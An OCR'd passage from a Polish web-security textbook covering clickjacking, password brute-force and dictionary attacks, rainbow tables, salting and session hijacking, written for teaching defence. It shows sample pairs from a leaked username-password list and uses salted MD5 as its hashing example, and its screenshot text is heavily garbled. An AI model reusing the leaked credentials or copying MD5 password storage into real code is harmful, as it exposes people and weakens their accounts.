
e Free Javascript Obfuscator,

e Closure Compiler,

e Javascript Compresor.

Przydatnym okaza¢ sie moze réwniez narzedzie do inzynierii wstecznej

zaciemnionego kodu JSunPack. Aplikacja ta obstuguje kod wejsciowy jak interpreter

JavaScript i stara sie zwroci¢ dane w maksymalnie przyjaznej dla cztowieka formie.

Rysunek 4.15 przedstawia zrzut ekranu aplikacji internetowej JSunPack.

C O jsunpack jesk.org/dec/go? w @
[ Pasek zaktadek (O Firma (O dyplom [ Zdjecia (T Ispiracie juery UL - Autocomp, .. o Test Olympus E-PL3 - ...

Decoded Files

786/6c5071a8bh0834f3dc6e TEIHO2F2 711043 from script (490 bytes) download

evall function(p.a,c ke e=function{c) { return c.toStringla)} i 1" replace(/ String)) { whilef ¢ -t ef c)]=k[ c] || e c); k=] function|e)
{return 1] €] }]; e=function(){ returnVw+'}; c=1} while( c--if k[ c]yp=p. replace(new RegFapWh'+e c)+"h','g" Kl c])ireturn p('6
O=1.7[VN; 300004 0=1.23 8 dfa by 3010, 4|00.40 =0

{0.c.5=a;0.e.5=h;0. 3} }', 16, 1 6, 'theF ortn|docutnent|aspnetF onmliflonsubtnit|waluelvar| forms| function|false|||_ EVENTTARGET|_ do
PostBack]  EVENTARGUMENT|subrmit. splitt”|", 0,437

S0ec/f02a09f21 298201 260ee5038ed542]1 T0cde from script (249 bytes) download

)

| ##ewal war theF orm=document. forms['aspnetF orm'];iff 1theF orm){ theF orm=document aspnetForm} function  doPostBack(a,b)
{1ff ItheF ortm. onsubrmit||( theF orm. onsubmmt() |=false))
{theFortn. EVENTTARGET walue=a;theForm.  EVENTARGUNMENT walue=h;theF orm. subrmit() )

Rys. 4.15. Wyniki dziatania aplikacji internetowej do zmiany postaci zaciemnionej na jawng

Zrédfo: opracowanie wtasne

Clickjacking

Technika nazwana Clickjacking nie posiada polskiego odpowiednika nazwy, poniewaz

jest bardzo nowatorskg metodg agresji na aplikacje internetowe. W wolnym
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ttumaczeniu oznacza porywanie/przechwytywanie kliknie¢. Rysunek 4.16 przedstawia

0golng zasade ekspozycji elementéw na zainfekowanej lub spreparowanej witrynie.

fona 72 elementem fframg,

Spreparowana g

: ~ \  iy Lubigto!

< ta jestnd
oo Warstwa &
okfania & ikne? amel 907

Rys. 4.16. Zasada dziatania ataku Clickjacking

Zrédfo: opracowanie wtasne

Clickjacking polega na przygotowaniu specjalnej strony internetowej. Jest ona
skonstruowana w taki sposob, by na samym wierzchu stosu elementéw znajdowat sie
element <iframe> zawierajgcy strone z serwisu zewnetrznego (A). Jest to warstwa
ukryta, przez co nie wyswietla sie w przegladarce (w tym celu mozna uzy¢
wiasciwosci CSS opacity: 0). Pod spodem znajduje sie zawartos¢ witryny
specjalnie spreparowana przez atakujgcego (B). Uklad elementow na stronie B jest
taki, by pokrywat sie z ramkg A. Ramka A moze by¢ dodatkowo przemieszczana za
pomocg JavaScript tak, by pozadany element znajdowat sie w migjscu kursora
myszki. Finalnie uzytkownik dokonuje interakcji na innej stronie niz by sie tego
spodziewat. Rysunek 4.17 przedstawia atak typu Clickjacking, ktéry wymusza

w rzeczywistosci klikniecie w przycisk "lubie to".
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za liniq wroga: of sta pta - vo « [ (D) |: DRUMNE GIRLS FIGH
= C | @ serv/dlickjacking.htm w @A
(O] Pasek zaktadek [ Firma [ dyplom (T Zdjecia (T Ispiracie | jouery UL - Autocomp. . 2
»|
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[
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M (]
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Rys. 4.17. Przykiad ataku Clickjacking zaobserwowanego poprzez portal Facebook — uwidoczniono
warstwe z ramkg

Zrédfo: opracowanie wiasne

Na ataki Clickjacking narazone sg szczegolne witryny aukcyjne, bankowe, sklepy
internetowe oraz serwisy spotecznosciowe. Wiekszosé z nich wymaga zalogowania,
ale nie jest to reguta. Atakujgcy moze sprowokowac¢ ofiare do wykonania dowolnych
interakcji — nie tylko kliknie¢, ale i wprowadzania lub przenoszenia tekstow. Skutkiem
takich dziatan moze by¢é roéwnie dobrze "polubienie" czegos na portalu
spotecznosciowym, jak i zakup przedmiotu, ktéry nie byt planowany.

Przeciwdziatania takiemu atakowi w cze$ci pokrywajg sie z obrong przed atakiem
XRF, gdzie réwniez dochodzi do wykonania akcji bez zgody i wiedzy uzytkownika.
Tworcy serwisow internetowych powinni skorzysta¢ z techniki ucieczki z ramek
(ang. Frame Busting) opierajgcej sie na zatadowaniu witryny do gtéwnego okna

przegladarki — listing 4.24.
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Listing 4.24. Proba "ucieczki" z ramki

if (top.location != location)
top.location.href = document.location.href;

Zrédio: http://framework.zend.com/manual/en/zend.controller.exceptions. html

Niestety technika ucieczki jest bezradna wobec zastosowania podwojnej ramki
(ang. Double Framing). Atakujgcy zawiera ramke w ramce, a w przypadku checi
opuszczenia, akcja nawigacji moze by¢ anulowana przez specjalny kod.

Skuteczng obrong przed atakiem typu Clickjacking jest ... rezygnacja z uzycia

ramek w aplikacji internetowe;.




S

Uwierzytelnienie i utrzymanie sesji

Cel

Rozdziat poswiecony jest problemom uwierzytelniania uzytkownikéw aplikaciji
internetowej oraz utrzymania sesji (w tym przechowywania faktu uwierzytelnienia
w trakcie korzystania przez uzytkownika z aplikacji) w $rodowisku protokotu
bezstanowego jakim jest HTTP(S). Przedstawiono definicje sesji i jej elementéw,
stosowane w aplikacjach internetowych metody utrzymania sesji. Zaprezentowane
podstawowe kierunki zagrozen (atakow na przechwycenie sesji) oraz metody ochrony
przed nimi. Zaprezentowano typowe ataki na proces uwierzytelnienia uzytkownika

aplikacji, w tym ataki zwigzane z pozyskaniem hasta uzytkownika.

Plan

1. Ataki na proces uwierzytelniania uzytkownika.

2. Zasady ochrony przed atakami pozyskujgcymi hasta.
3. Typowe ataki na sesje i ochrona przed nimi.
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5.1. ATAKINA PROCES UWIERZYTELNIANIA UZYTKOWNIKA

Uwierzytelnienie (ang. Authentication) jest procesem polegajgcym na zweryfikowaniu
deklarowanej tozsamosci strony chcacej wzigé udziat w wymianie danych. Innymi
stowy uwierzytelnienie pozawala stwierdzié, czy osoba lub rzecz jest tym, za kogo lub
za co sie podaje (Well, 2008). Nie nalezy myli¢ uwierzytelnienia z autoryzacjg, ktéra
polega na przydzieleniu dostepu do zasobu.

Aplikacje internetowe stosujg na ogét prostg metode uwierzytelniania za pomocag
statycznego hasta. Niektore serwisy (np. Facebook, Google Apps) oferujg bardziej
zaawansowang, dwustopniowg, forme potwierdzenia polegajgcg na dodatkowym
wprowadzeniu kodu otrzymanego SMS'em lub wygenerowanego przez specjalng
aplikacje mobilng. Funkcje ta mozna wytgczy¢ dla wybranych (zaufanych)
komputeréw przez co dodatkowe zabezpieczenie stosowane bedzie tylko w niezna-
nych lokalizacjach. W niektorych serwisach (np. bankowych) niektére operacje (te
szczegolnie niebezpieczne) wymagajg dodatkowego uwierzytelnienia.

Atak z celem pozyskania hasta uzytkownika aplikacji jest jednym z najbardziej
oczywistym i czesto stosowanym. Po pozyskaniu danych uwierzytelniajgcych, agresor
moze wykonywac¢ wszystkie dziatania, jakie moze realizowaC uwierzytelniony uzyt-
kownik poprzez podszycie sie pod niego. Istnieje wiele metod ataku na proces

uwierzytelnienia uzytkownika w aplikacji internetowe;.

Atak sitowy

Atak sitowy (ang. Brutal Force) polega na kolejnym sprawdzaniu wszystkich
mozliwych kombinacji znakéw az do momentu odnalezienia wlasciwego hasta,
w sytuacji kiedy znany jest login, tj. nazwa uzytkownika. Uzycie tego ataku jest takze
mozliwe do przetamania metod kryptograficznych (atak tekstem jawnym, atak
z szyfrogramem). Prosty przyktad moze stanowi¢ algorytm, przy pomocy ktérego
sprawdza sie kolejno liczby od 0000 do 9999 w celu dopasowania ich do kodu pin.
Taki rodzaj ataku sprawdza sie szczegdlnie wtedy, kiedy istnieje czesSciowa

znajomos¢ poufnych danych — np. znana jest dtugos$¢ hasta i jego pierwszy i ostatni
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znak. Przyktadowo, hasto na 5 znakdw, a jego pierwsza litera to "m", ostania zas "o".
Algorytm moze sprawdzaé kolejne warto$ci na zasadzie: maaao, maabo, maaco...
mabao, mabbo, mabco itd. az do momentu znalezienia kombinagji, np. mango. Liczba

kombinaciji jest duza, ale skoriczona.

Atak stownikowy

Atak stownikowy (ang. Dictionary Attack) jest w swojej istocie bardzo podobny do
sitowego, z tym, ze zamiast zbioru mozliwych pojedynczych znakéw wykorzystuje ich
grupy. Grupy to znane i potencjalnie mozliwe do uzycia kombinacje znakéw takie, jak
stowa z danego jezyka lub wielu jezykdw, kolejne wartos$ci itp. Poszukiwanie wtasciwej
kombinacji grup jest bardziej efektywne niz z wykorzystaniem pojedynczych znakoéw.
Oznacza to, ze przy okreslonej dlugosci hasta kombinacji, niezbednych do
sprawdzenia w przypadku ataku stownikowego, jest znacznie mniej niz przy ataku
sitowym. Metoda ta bazuje na socjologicznym fakcie, ze hasta wprowadzane przez
cztowieka tworzone sg jako tatwe do zapamietania. W sytuacji, gdy aplikacja wymaga
hasta o okreslonej minimalnej dlugosci (a jest to podyktowane wymogami bezpie-
czenstwa, m.in. wymogami zwigkszenia odpornosci na atak sitowy) czlowiek
podswiadomie i wbrew zasadom bezpieczenstwa uzywa do tworzenia haset
wiekszych, a wiec fatwiejszych do zapamietania, jednostek leksykalnych. Mogg by¢ to
np. stowa opisujgce rzeczywistos¢ (takze zapisane wspak), ciggi liczby, ciggi znakéw
wg ich ulozenia na klawiaturze, daty czy po prostu powtérzenia wczedniej
wprowadzonych danych (np. imienia). Stowniki haset (i ich fragmentow) sg dostepne

w Internecie (rysunek 5.1) wraz z rankingami czestotliwosci ich uzycia.

Plik. Edycja Format ‘“Widok Pomoc

Epatto — ultimathule

jaar1i - freezerer

kaksi perhosta - tuukka
Cabbageworm - mulkku
Mustamieli - Fulmds
HaavoittunutEnkeli - ol11ijuri
dxc - alanne

Aamunkajo — amgigh
angeldevil - cherie

yrimy - kissa

Rys. 5.1. Przyktad firiskiego stownika zawierajgcego pary uzytkownik-hastfo (80.000 rekordéw)
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Atak stownikowy odwroécony

Niekiedy dla atakujgcego wazne jest jednie dokonanie poprawnego uwierzytelniania
bez réznicy do czyjego konta bedzie sie ono odwotywac (np. dostanie sie do panelu
administracyjnego serwisu). Opierajgc sie na tej zasadzie, haker wykorzysta¢ moze
technike odwroconego ataku stownikowego. Polega ona wybraniu pewnego
popularnego (lub istniejgcego) hasta i sprawdzaniu wszystkich znanych w serwisie
loginéw (lub loginéw w oparciu o dodatkowy stownik). Metoda nosi nazwe odwréconej,
poniewaz za statg przyjmuje sie hasto, a zmienny (skanowany) jest login. Atak ten
zostanie zwienczony sukcesem, o ile uda sie natrafi¢ na istniejacy w aplikagcji login
posiadajgcy dane hasto.

Atak stownikowy odwrécony jest takze obejsciem popularnych metod ochrony
przed skanowaniem haset w atakach sitowych i stownikowych. Metody te udaremniaja
(lub tez nadmiernie wydtuzajg, czynigc atak bezsensownym) proces zgadywania
(skanowania) haset poprzez blokowanie dostepu dla uzytkownika. Oznacza to, ze dla
konkretnego loginu dostep jest automatycznie blokowany po np. 3. niepoprawnie
podanych hastach. Blokada moze by¢ wprowadzona na czas nieokreslony (j. zwykle
do interwencji administratora aplikacji) lub tez na jaki$ czas (np. na 1. minute). Przy
koniecznosci sprawdzenia miliardow wariantéw juz jednominutowa blokada czyni
proces wlamania bezskutecznym. Tym bardziej, Ze mogg by¢ stosowane bardziej
skomplikowane polityki blokad czasowych, np. po pierwszej pomyice czas blokady
wynosi 1. minuta, po drugiej — dwie, po trzeciej — cztery itd. W ataku odwréconym
napastnik nie sprawdza ponownie hasta dla danej nazwy uzytkownik, wiec opisane
metody zawodzg. Metody takie, zaimplementowane w polityce bezpieczenstwa
aplikacji, mogg by¢é niestety wykorzystane przez agresora do swiadomego
zablokowania duzej liczby uzytkownikéw i uniemozliwienie im korzystania z serwisu.
Przyktadem moze by¢ zablokowanie wszystkich uzytkownikéw aplikacji bankowej lub
sklepu internetowego, wykorzystujgce fakt, ze po trzecim nieudanym logowaniu konto
jest blokowane (i wymaga np. wizyty w oddziale banku lub tez innej czasochtonnej
operacji) a numer klienta (bedacy jego loginem) jest np. siedmiocyfrowy. By
zablokowa¢ wszystkich uzytkownikéw aplikacji internetowej w takim przypadku

wystarczy zaledwie okoto 30 miliondw prob. Proste metody blokad czasowych lub
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skompromitowania uzytkownikdw powinny by¢ zatem stosowane w potgczeniu
z innymi metodami ochrony aplikacji bo mogg by¢ wykorzystane przez agresora do
ataku DoS. Poza tym sam fakt zablokowania konta ujawnia zwykle jego istnienie.

5.2. OBRONA PRZED ATAKAMI POZYSKUJACYMI HASLA

Wszystkie ataki sitowe mogqg by¢ realizowane w sposéb catkowicie zautomatyzowany.
Wykorzystujg one algorytmy prébujgcych uwierzytelnienie poprzez testowanie
kolejnych wartosci hasta Iub/i loginu. Ochrona przed automatycznymi metodami
tamania haset moze (i powinna) odbywa¢ sie zaréwno po stronie aplikacji
internetowej, jak i uzytkownika.

W przypadku uzytkownika aplikacji internetowej wazna jest swiadomos¢, by nie
prowadzat on elementéw haset, ktére moga by¢ z nim skojarzone (np. imig, nazwa
uzytkownika, data urodzenia itp.). Nie powinien on tez uzywac¢ tego hasta na
komputerach publicznych moggcych zawieraé oprogramowanie szpiegujgce.
Kolejnym problemem jest niestety bardzo czesto zdarzajgca sie praktyka posiadania
przez uzytkownikow jednego (lub dwoch) ,uniwersalnych” haset. Przy ich pomocy
uzytkownicy uwierzytelniajg sie zaréwno w aplikacji bankowej jak i na publicznie
dostepnym portalu, a nawet na nieznanym (i np. Zle zabezpieczonym) blizej blogu.
Taka ,polityka” stanowi istothe zagrozenie bezpieczenstwa aplikaciji.

Po stronie aplikacji internetowej srodki bezpieczenstwa mozna przedsiewzigé
w oparciu o kilka prostych, lecz skutecznych rozwigzan:

e zdefiniowanie minimalnej dtugosci haset i miernikéw ich sity;
e wymuszenie uzycia duzych i matych liter oraz znakéw specjalnych w hastach

(zwieksza to stopien ich komplikacji);

e poroéwnanie wprowadzanego hasta z innymi danymi uzytkownika i zakaz ich
uzycia jako sktadnikow hasta;

e sprawdzenie, czy hasto nie wystepuje w znanych stownikach;

e wymuszenie okresowej zmiany hasta (z zakazem stosowania haset juz uzytych,

np. do 3 haset wstecz);
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o zakaz serializacji haset (ij. stosowania haset o powtarzajgcych sie duzych
fragmentach, np. hasto1, hasto2, hastoaa, ...);

e czasowg blokade konta po wielokrotnej (okreslonej) nieudanej probie logowania.

W trakcie projektowania i implementacji aplikacji internetowej powinny byc¢
zaprojektowane odpowiednie polityki w stosunku do kontroli haset (i logindw)
uzytkownikow. Nalezy jednak mie¢ SwiadomoS¢, ze zbyt restrykcyjne polityki
spowodujg poza aplikacyjne problemy, np. zapisywanie danych uwierzytelnienia na
kartkach ,pod klawiaturg”. Restrykcyjne polityki bezpieczenstwa otwierajg takze droge
do atakéw na aplikacje typu DoS, omoéwione poprzednio na przyktadzie czasowego

blokowania uzytkownika po podaniu niepoprawnych danych uwierzytelniajgcych.
Sumy kontrole, teczowe tablice i sél kryptograficzna

Omoéwione problemy dotyczyty jedynie prob kradziezy danych uwierzytelniajgcych
poprzez ataki na proces uwierzytelnienia. Bardzo wazny aspekt stanowi rowniez
polityka przechowywania poufnych danych w bazie danych. W celu zwigkszenia
poufnosci danych, hasta przechowywane sg zazwyczaj w postaci tzw. sum
kontrolnych. Sumy te sg generowane przy pomocy jednokierunkowej funkcji skrotu
(ang. Hash Function). Do tworzenia sum kontrolnych (skrotow) wykorzystuje sie takie
algorytmy jak MD5, SHA-1, SHA-256/224 itp. Zabezpieczenie to powstato z jednej
strony, dlatego by nie przechowywac haset w postaci jawnej, a z drugiej by utrudnié
potencjalnym hakerom ich ztamanie. Przetworzone funkcjg jednokierunkowg hasta sg
niedostepne nawet dla administratora aplikacji, tj. moze on odczyta¢ z bazy danych
skrét hasta, ale nie jest w stanie podszy¢ sie pod uzytkownika bo nie moze uzyskacé
hasta w jawnej postaci.
Funkcja skrétu charakteryzuje sie nastepujgcymi wtasciwosciami:
e jest jednokierunkowa, tj. brak jest rozsgdnych mozliwosci odtworzenia Zrédtowych
danych na podstawie ich skrétu (nawet przy znanym algorytmie funkcji);
e ma bardzo niskie prawdopodobienstwo wystgpienia kolizji, tj. znalezienie dwoch
réznych danych zrédtowych o tym samym skrécie jest niemozliwe;
e jest bardzo czuta, tj. niewielka (nawet jednobitowa) zmiana w danych zrédiowych
w istotny sposdéb zmienia jej skrot.
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Teoretycznie na podstawie wartosci funkcji skrotu nie jest mozliwe odtworzenie
hasta (ze wzgledu na jej jednokierunkowos$¢). Mozliwe jest natomiast generowanie
hasta metoda brutal force kolejnych mozliwych haset, wyliczanie ich funkcji skrotu
i porownywanie z wartoscig skrotu oryginalnego hasta, ktore chce sie ztamaé. W celu
przy$pieszenia tego procesu poréwnane juz skroty mozna zapisaé do pliku w celu
tamania nastepnych haset. Kompleksowy zapis takich danych nie jest mozliwy na
obecnych nosnikach pamieci masowej, poniewaz sg one zbyt mato pojemne.
Kompromisem miedzy wykorzystaniem wczesniej wygenerowanych skrotow,
a zuzyciem przestrzeni pamieci dyskowych sg tzw. teczowe tablice (ang. Rainbow
Tables). Zasada ich dziatania opiera sie na koncepcji przechowywania par hasto-
skrot. Skroty nie powstajg jednak bezposrednio przez przetworzenie haset funkcjg
skrotu. Proces ten jest bardziej skomplikowany i tworzy tzw. tancuchy (ang. Chain).
Z poczatkowego hasta obliczana jest funkcja skrétu i pierwszy skrét. Z tego skrétu
przy pomocy funkcji redukcyjnej generowany jest ciagg znakéw. Cigg ten jest
poddawany ponownie funkcji skrotu. Proces ten powtarza sie wielokrotnie, ale
zapamietywana jest jedynie pierwsza i ostania wartos¢ tancucha (pierwsze hasto
i ostatni skrot).

Majgc do dyspozycji skradziong sume kontrolng, atakujgcy poréwnuje jg z bazg
uprzednio wygenerowanych tancuchéw. Jezeli suma ta nie istnieje, to ze skrétu
poprzez funkcje redukcyjng generowany jest cigg znakow. Z niego z kolei znowu
generowany jest skrét i nastepuje powrdt do kroku poprzedniego, czyli ponownego
sprawdzenia wystepowania biezgcej sumy kontrolnej w bazie. Proces powtarza sie do
skutku, a nowo wygenerowane tancuchy zapisywane sg do pliku. Kiedy skrét zostanie
w koncu znaleziony, brane jest poczatkowe hasto, z ktérego sie on wywodzi. Hasto to
jest skracane i redukowane az do momentu odnalezienia hasta w postaci tekstowej,
ktorego skrot pokryje sie ze skrétem poszukiwanym (Maziarz, 2007). Doktadny opisy
zasady funkcjonowania teczowych tablic znajduje sie na stronie jednego z pionierow
tej techniki: http://kestas.kuliukas.com/RainbowTables/. Narzedzia stuzgce tamaniu
haset w oparciu o teczowe tablice, poza klasycznymi programami komputerowymi,
przyjety takze postaé aplikacji internetowych, gdzie kazdy moze sprawdzi¢ dowolng

sume kontrolng — rysunek 5.2.
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pEssaRcdng.
id type 1 hash pass  hex
3928965 shal_160bit 786f6deal0Zad01f5a80a47526bba3205d9bebze - BABFACHT
id type hash 2. [ pass | hex
15388905 s 493366643360c37793b196b966ebe99 - 61l6CH16D616BGFT40]
Database
id type 3 hash [ pass | hex

11148531 s 77fa6ad01decazfo0e0e749493ab793d - T4616a0e65
Database

id type 4 hash pass hex
309144 MySQL_160bit *05aBala?3083f816772592f13d11c8aa5ccd 9681 - BEE17E6CAF

Rys. 5.2. Serwis passcracking.ru w konfrontacji z warto$ciami hashy wygenerowanymi przez
funkcje MySQL

Zrédfo: opracowanie wtasne

Celem wiasciwego zabezpieczenia haset stosuje sie tzw. sél kryptograficzng
(ang. Salt). W momencie wprowadzania hasta doklejany jest do niego losowy cigg
znakéw w celu zwiekszenia ilosci informacji. Tak powstata fraza poddawana jest
dziataniu funkcji skrotu. Oznacza to, ze otrzymana suma kontrolna nie reprezentuje
hasta wprowadzonego przez uzytkownika, a catkiem inny dynamicznie utworzony cigg
znakoéw. Dodatkowo cigg ten powinien by¢ na tyle dtugi, by skutecznie uniemozliwic¢
odszukanie go przez uzycie teczowych tablic, ktdre Swietnie sprawdzajg sie dla
wyrazen niedtugich (np. do 8 znakéw). Dodanie dodatkowych 8 bajtow soli sprawia, ze
teczowe tablice stajg sie praktycznie bezuzyteczne, a wykradzenie sum kontrolnych
nie spowoduje poznania haset uzytkownikow (Maziarz, 2007). Sol kryptograficzna
przetrzymywana jest na ogét w bazie danych w celu mozliwosci dotgczenia jej do
powtdérnie wprowadzanych do aplikacji haset. Listing 5.1 prezentuje zasade dziatania

solonych haset.
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Listing 5.1. Przyktad wykorzystania soli kryptograficznej i funkcji skrotu

// s6l trzymana w bazie
$salt = "abcdefgh";

// hash - suma kontrolna z BD, S$hash = md5 ('abcdefgh'
Shash = "62740dca83929b247766ad6d342c1310";

if (md5 ($salt.$ POST['password'])==Shash)
akcjaZalogowany () ;

.'tajne'

)

Zrédfo: opracowanie wiasne

Hasta czesciowe, klawiatura ekranowa

Jednym ze sposobdéw ochrony samego hasta jest zgdanie jedynie o wprowadzenie

czesci jego znakéw. Hasto taki powinno by¢ dostatecznie ditugie, by pozycje

wymaganych znakéw mogty ulega¢ zmianom. Rozwigzanie takie (rysunek 5.3) unie-

mozliwia podejrzenie lub podstuchanie petnego hasta (np. poprzez niezabezpieczong

sie¢ WiFi lub oprogramowanie typu KeylLogger) oraz pozyskanie informacji na temat

jego doktadnej diugosci. Minusem takiego mechanizmu jest to, ze musi istnie¢

mozliwos¢ poréwnania indywidualnych znakéw hasta, czyli hasto da sie odczytac

z bazy danych.

DDBDDEDEBEEBBEEEBEEBBBEEBBBEEBEE

2 3 4 3 6B 7 8 91011 12131341316 17 18 19 20 21 22 23 24 23 26 27 23 29 30 31 32

Wprowadz hasto [?]

T AT

0 11 12 13 14 15 16

Rys. 5.3. Hasta czesciowe — przyktady

Zrédfo: opracowanie wiasne

Z drugiej zas strony w przypadku dynamicznej zmiany kolejnosci wprowadzanych

znakow, atakujacy, Sledzacy wciskane klawisze, bedzie mogt predzej czy pdzniej

uzyskac petne hasto. Oczywiscie proces ten wymaga duzej liczby sledzonych operaciji

logowania do aplikacji.
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Dodatkowym rozwigzaniem poprawiajgcym bezpieczenstwo  aplikacji
internetowych na poziomie mechanizmu uwierzytelnienia jest klawiatura ekranowa.
Komponent taki niweluje mozliwos¢ przechwytywania wciskanych klawiszy, poniewaz
klawiatura komputera nie jest uzywana. Uzytkownik wyklikuje myszkg znaki hasta na

ekranie, co ilustruje rysunek 5.4.

Logowanie

Numer klienta [7]

Masz juz konto?

Mazwa uZytkownika | |

Hasto | | o 6]

(Mie pamigtasz hasta?)
~ W # Y N BN + BkZpce
SERERRRDREnEa

W WE T Y §U E ) Capz
SURSIISERERDN &
A NS, F B§G BH NI K QL N Shift
AN S

R LLI =~
£ [ <« =0 7

ZatwierdZ

1|z s|a]ls|se] 7] o] o] -] =] <packspace |
{ S o e e o o o e [ [ o

CapsankIaI sIdI FI IthIkIlI;I'I
Shift IzIxIcIuIbInImI ,I-IJ"I"-.I Shif’tl
| & | clearan |

Rys. 5.4. Klawiatury wirtualne — przyktady
Zrédfo: opracowanie wtasne

Niestety, ztosliwe oprogramowanie moze $ledzié takze ruchy myszki i pozycje, na
ktorej zostat wcisniety jej klawisz, co daje mozliwos¢ ocenienia, jaki znak chciano
wprowadzi¢. Niemniej jednak klawiatura ekranowa utrudnia przechwycenie danych
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znacznie bardziej niz klawiatura klasyczna, poniewaz nie generuje gotowych znakdw,

tylko uzupetnia pole "hasto" programowo.

5.3. TYPOWE ATAKI NA SESJE | OCHRONA PRZED NIMI

W zwigzku z faktem, ze protokdt HTTP jest protokotem bezstanowym, aplikacje
internetowe uzywajg identyfikatoréw ses;ji, co pozwala na rozpoznanie klienta podczas
wielu transakcji zgdanie — odpowiedz. Identyfikator jest tylko jednym z elementow
sesji. Sesja (ang. Session) to zbior danych charakteryzujgcych komunikacje pomiedzy
klientem a serwerem Na podstawie tego zbioru oprogramowanie serwera identyfikuje
klienta i jego stan, a takze historie i inne szczegoty wspétpracy.

Stan sesji moze by¢ przechowywany tak po stronie klienta, jak i serwera (tzw.
obiekty sesyjne, niekiedy nawet utrwalane w bazie danych). Jednak za kazdym razem
identyfikator sesji musi by¢ przechowywany (i odsytany w zgdaniu) po stronie klienta.
Identyfikatory te zazwyczaj przechowywane sg w cookies, rzadziej w URL Iub
w formularzach (przewaznie jako pola ukryte, a wiec niewidoczne ale odsytane razem
z innymi polami ich wartosciami). Utrwalanie stanu sesji w bazie danych stosowane
jest w wielu celach: od zapewnienia rozliczalnosci uzytkownika (rozdziat 1.1), poprzez
zapewnienie mozliwosci wznowienia sesji po diuzszym czasie az po pozyskiwanie
informacji o preferencjach uzytkownika. Pozyskiwanie informacji o dziataniach
w powigzaniu z konkretnym uzytkownikiem ma pozytywny charakter (moze stuzyé
np. do personalizacji aplikacji). Niestety takie ,szpiegowanie” bardzo czesto ma
negatywny oddzwiek np. w postaci nachalnych, spersonalizowanych reklam w trakcie
pracy z aplikacjami — rysunek 5.5.



144 Wspbtczesne Technologie Informatyczne. Zagrozenia i ochrona aplikacji internetowych

% METEOPROG.PL. Pogoda x ﬂ

<« C' [ www.meteoprog.pl/pl/weather/Lublin/ 9 =
. . B X
@ flashb ) - Pendrive z Nadrukiem
ashba IF b Fl - Oznakowane z Logo Twojej firmy, s
v b % m ® j dostarczane w ciggu 6 dni! ?\}yc);ne]»

POGODA ¥ MAPY *  WIADOMOSCI ¥

sxmeteo
roid  [] mobilna =y

POGODA W LUBLINIE. 9 inne miasto

Pagoda / Pogoda w Polsce [ Lubelskie / Pogoda w Lublinie Tashkent - Hotel
Uzbekistan
Gwarancia ...

Hotel usytuowany
jestw samym ...

Dzié Jutro Czwartek, 7 sierpnia
Prognoza na 1-6 dni

Dzien Wieczor Prognoza na 6-10 dni
Prognoza na 11-15 dni
Pogoda na weekend

Q & Pogoda na 2 tygodnie
[ [

Godzinowa prognoza

67 €

+30°C  +26°C Mapy pogody Booking

+17°C
Pogoda graficzna
Odczuwalna t n Odczuwalna t Odczuwalna t _ o . v

Rys. 5.5. Wykorzystanie historii dziatan uzytkownika przez aplikacje internetowg

Zrédfo: opracowanie wiasne

Cykl zycia sesji jest stosunkowo prosty. Jest tworzone w chwili nawigzania
komunikacji klienta z aplikacjg (zwykle w wyniku zalogowania sie), potem stan sesji
sie modyfikuje w miare pracy uzytkownika z aplikacjg by na koncu zosta¢ zamknieta.
Zamknigcie sesji odbywa sie z inicjatywy klienta (,wylogowanie”) lub serwera. Serwer
zamyka sesje w wyniku jej przeterminowania, rozumianego jako spetnienie
okres$lonego warunku czasowego, np. czas trwania sesji przekracza np. 30 minut lub
czas bezczynnosci klienta (podejrzenie o odejscie od terminala) przekracza np. 10
minut (przykftad takiego dziatania ilustruje rysunek 4.6). Serwer zamyka zwykle sesje
w przypadku jego wylgczenia (ang. Shutdown). Wytagczenie przegladarki klienta nie
musi zamykac sesji.

Ataki ukierunkowane w sesje uzytkownika, pomijajg sam proces uwierzytelnienia,
Co sprawia, ze agresor nie musi pozyskiwac¢ hasta ofiary. Bazujg one na skradzeniu,
odgadnieciu lub wymuszeniu identyfikatora sesji oraz na mozliwos¢ modyfikacji

danych przetrzymywanych jako stan sesji po stronie klienta i/lub serwera.
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Przechwycenie sesji

Przechwycenie sesji (ang. Session Hijacking) polega na pozyskaniu identyfikatora
sesji, ktory przez aplikacje internetowsg jest traktowany jako jedyny element autoryzacji
dziatan klienta w danej chwili. Po sprawdzeniu poprawnosci identyfikatora ses;ji,
aplikacja nie wykonuje Zadnych innych czynnosci uwierzytelniajgcych tozsamos$c
klienta. Przechwycenie identyfikatora réwnowazne jest z przejeciem praw autoryza-
cyjnych uzytkownika aplikacji.

Istnieje szereg metod stuzgcych realizacji ataku przechwycenia sesji. Niektore

z nich opierajg sie na probie wygenerowania identyfikatora sesji inne na jego

skradzeniu lub spreparowaniu (Hoffman i Sullivan, 2009). Sg to:

e Brutalna sita (przeglad bezposredni) — atakujgcy generuje mozliwe identyfikatory
sesji, az do momentu uzyskania tego wtasciwego.

e Fuzzing - atakujgcy podejrzewa w jakim przedziale miesSci sie wartos¢
identyfikatora sesji i bedzie dokonywat podstawienia kolejnych wartosci az do
momentu trafienia. To bardziej "elegancka” (i co najwazniejsze: szybsza) odmiana
brutalnej sity.

o Nastuchiwanie ruchu sieciowego — haker dokonuje rejestracji ruchu sieciowego.
Przegladajgc kolejne zadania jest w stanie wyselekcjonowac dane reprezentujgce
identyfikatory sesji. Technice tej sprzyja wcigz powiekszajgca sie liczba sieci
bezprzewodowych pozbawionych zabezpieczenia, a wiec bardzo tatwo poddajgca
sie podstuchiwaniu ruchu.

e Ominiecie procesu uwierzytelniania — technika mozliwa do uzyskania
identyfikatora sesji w oparciu o zapisane w stanie sesji klienta dane (np. numer
uzytkownika).

¢ Kradziez identyfikatora — mozliwos¢ dostepu do cookie lub luki XSS umozliwiajg
skradzenie identyfikatora sesji i przestanie go do atakujgcego. Mozliwe jest
rowniez wykorzystanie ataku typu Cross-Domain, Cross-Path lub Cross-Port,
wykorzystujgc elastycznos¢ mechanizmu cookies.

o Odgadniecie identyfikatora — na podstawie rozpoznania $rodowiska
implementacji aplikacji i podstuchanego identyfikatora sesji napastnik odgaduje

kolejng wartos¢ identyfikatora. Mozliwe jest to w sytuacji, w ktérej identyfikatory sg
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generowane w przewidywalny sposéb, np. kolejne wartosci bgdz tez przy pomocy
znanych algorytmow na podstawie poprzednich warto$ci.
Prébe podsumowania i zobrazowania mozliwych sposobdéw przechwycenia ses;ji
przedstawia rysunek 5.6.

Pierwsze nawigzanie polaczenia

Przekazywanie identyfikatora przy zadaniu

Mozliwosc¢
podstuchania
identyfikatora

Brutalna sita,
Fuzzing

Ataki: XSS,
Cross-Domain,
Cross-Path
Cross-Port

